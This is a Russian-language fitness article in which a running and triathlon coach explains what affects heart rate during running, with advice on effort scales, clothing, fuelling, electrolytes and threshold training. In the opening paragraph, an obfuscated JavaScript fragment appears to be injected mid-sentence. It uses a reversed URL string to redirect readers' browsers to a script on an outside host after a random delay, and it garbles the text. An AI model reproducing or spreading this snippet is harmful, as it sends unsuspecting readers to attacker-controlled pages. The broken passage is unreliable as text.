Бегуны-новички, которые по рекомендациям более опытных товарищей начинают на пробежках следить за пульсом, часто задаются вопросом, можно ли снизить ЧСС во время бега. fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru попросил Александра Жукова, опытного тренера по бегу и триатлону, объяснить, что к чему в делах сердечных.
Александр Жуков
тренер команды Z3TEAM
Для начала отмечу, что на соревнованиях выигрывает не тот, кто пробежал на низком пульсе, а тот, кто прибежал раньше или быстрее. Какой при этом был пульс у победителя и проигравшего — никому не интересно.
Или ты сам на тренировке. Вот бежал ты раньше десятку за 55 минут со средним пульсом в 165, а теперь пробежал её же за те же 55 минут со средним пульсом в 150. Стал ли ты сильнее? Нет. Сильнее будешь, когда пробежишь за 54 минуты.
Но! Вот бежал ты раньше на пульсе в 130 ударов в течение 40 минут — в одну сторону 20 минут и 20 минут обратно, а теперь бежишь на том же пульсе в 130, но за 20 минут в одну сторону успеваешь убежать на 200 метров дальше, соответственно, за 40 минут выйдет на 400 метров больше. Вот тогда да, я соглашусь, что ты стал сильнее.
А теперь разберёмся в физиологии — пульс низкий или высокий во время бега, от чего это зависит:
- объём сердечного выброса, то есть сколько крови качает сердце за один удар;
- состав крови. Если гематокрит и гемоглобин в твоей крови вырастут, пульс будет ниже. Быстрее от этого не побежишь, но с тем же темпом пульс будет ниже;
- количество капилляров как в работающих мышцах, так и в сердечной мышце. С тем же объёмом крови сердце сможет доставить кислорода к работающим мышцам больше. Количество капилляров растёт очень медленно, но улучшить кровоснабжение мышц не сложно, рецепт — длительные тренировки низкой интенсивности;
- экономичность движений. К примеру, если во время бега ты успеваешь и присесть, и выпрыгнуть, пульс будет выше. А если ты можешь бежать строго горизонтально, не перемещаясь вверх и вниз, энергозатраты на такой же темп будут ниже, как и пульс.
Как же «научиться бегать на низком пульсе» или как «снижать пульс во время бега»?
А надо ли?
Да, пульс — один из критериев оценки интенсивности нагрузки, но можно обойтись и без него. Как? Ответ — шкала Борга, или определение интенсивности нагрузки на основе субъективной оценки.
Отвечая максимально конкретно на вопросы выше, скажу: необходимо научиться бегать максимально легко по субъективным ощущениям, контролируя свой пульс и не обращая внимания на темп. Если сказали бежать на пульсе в 130 ударов, держи 129, и если пульс растёт, переходи на шаг. Со временем, не завтра, а через 2-3 года непрерывной работы, в твоём организме всё изменится.
Ещё несколько советов:
- Учись правильно считать. Все современные производители часов предлагают измерить пульс с руки, без нагрудного датчика. Они врут — продавцы говорят про «незначительные отклонения», а сторонники конкретных часов искренне заблуждаются, у них просто нет опыта и способностей к аналитическому мышлению. Если сомневаешься насчёт пульса, например на твоих часах 185, а ты можешь говорить, дышать, жевать, глотать, значит, твой пульс 120, а не 185. Тогда надо замерить пульс двумя пальцами на шее, глядя на обычные часы.
- Одевайся легче. Лишняя одежда повышает пульс. Запомни правило «+20 градусов». Одевайся на пробежку при +5 так, будто идёшь гулять в +25.
- Питайся и пей регулярно в ходе пробежки — изменение уровня сахара в крови вызывает изменение ЧСС. Если надо бежать 30 км, не беги 15 туда и 15 обратно, так ты не сможешь обеспечить питание. Спланируй круг в 2-3 км, поставь бутылку изотоника под куст и пробегай мимо неё каждые 10–15 минут, положи пару гелей в карман или держи их в руке.
- Поддерживай уровень электролитов, так как баланс калия и натрия активно влияет на работу сердца. Готовь с собой на побежку не пустую воду, а напиток с минералами.
- Не торопись. Если сомневаешься, легко тебе или тяжело, сбавь темп, отдыхай, пусть будет точно легко.
- Если ты регулярно тренируешься дольше полугода, включи в свой план тренировки на повышение ПАНО (порог анаэробного обмена) — это интервалы продолжительностью 5–8 минут с уровнем усилий в 90–95%. Чем выше твой ПАНО, тем быстрее ты сможешь бежать не уставая.
- Не бегай больной, уставший, с недосыпа или после переедания.
Если эти пункты вызвали скуку, то рабочая версия одна: регулярность и непрерывность тренировочного процесса. Не важно, как ты бегаешь — если бегаешь 5-6 раз в неделю, скоро всё изменится. А если бегаешь раз в неделю, то и пульс можно не мерить.
Статьи по теме
Где бегать в Москве: 13 легкоатлетических стадионов
5 мобильных приложений, которые помогут начать бегать этой весной
IRONMAN Russia проведёт корпоративную эстафету, женский и детский забеги
Как улучшить технику бега: 7 упражнений с координационной лестницей
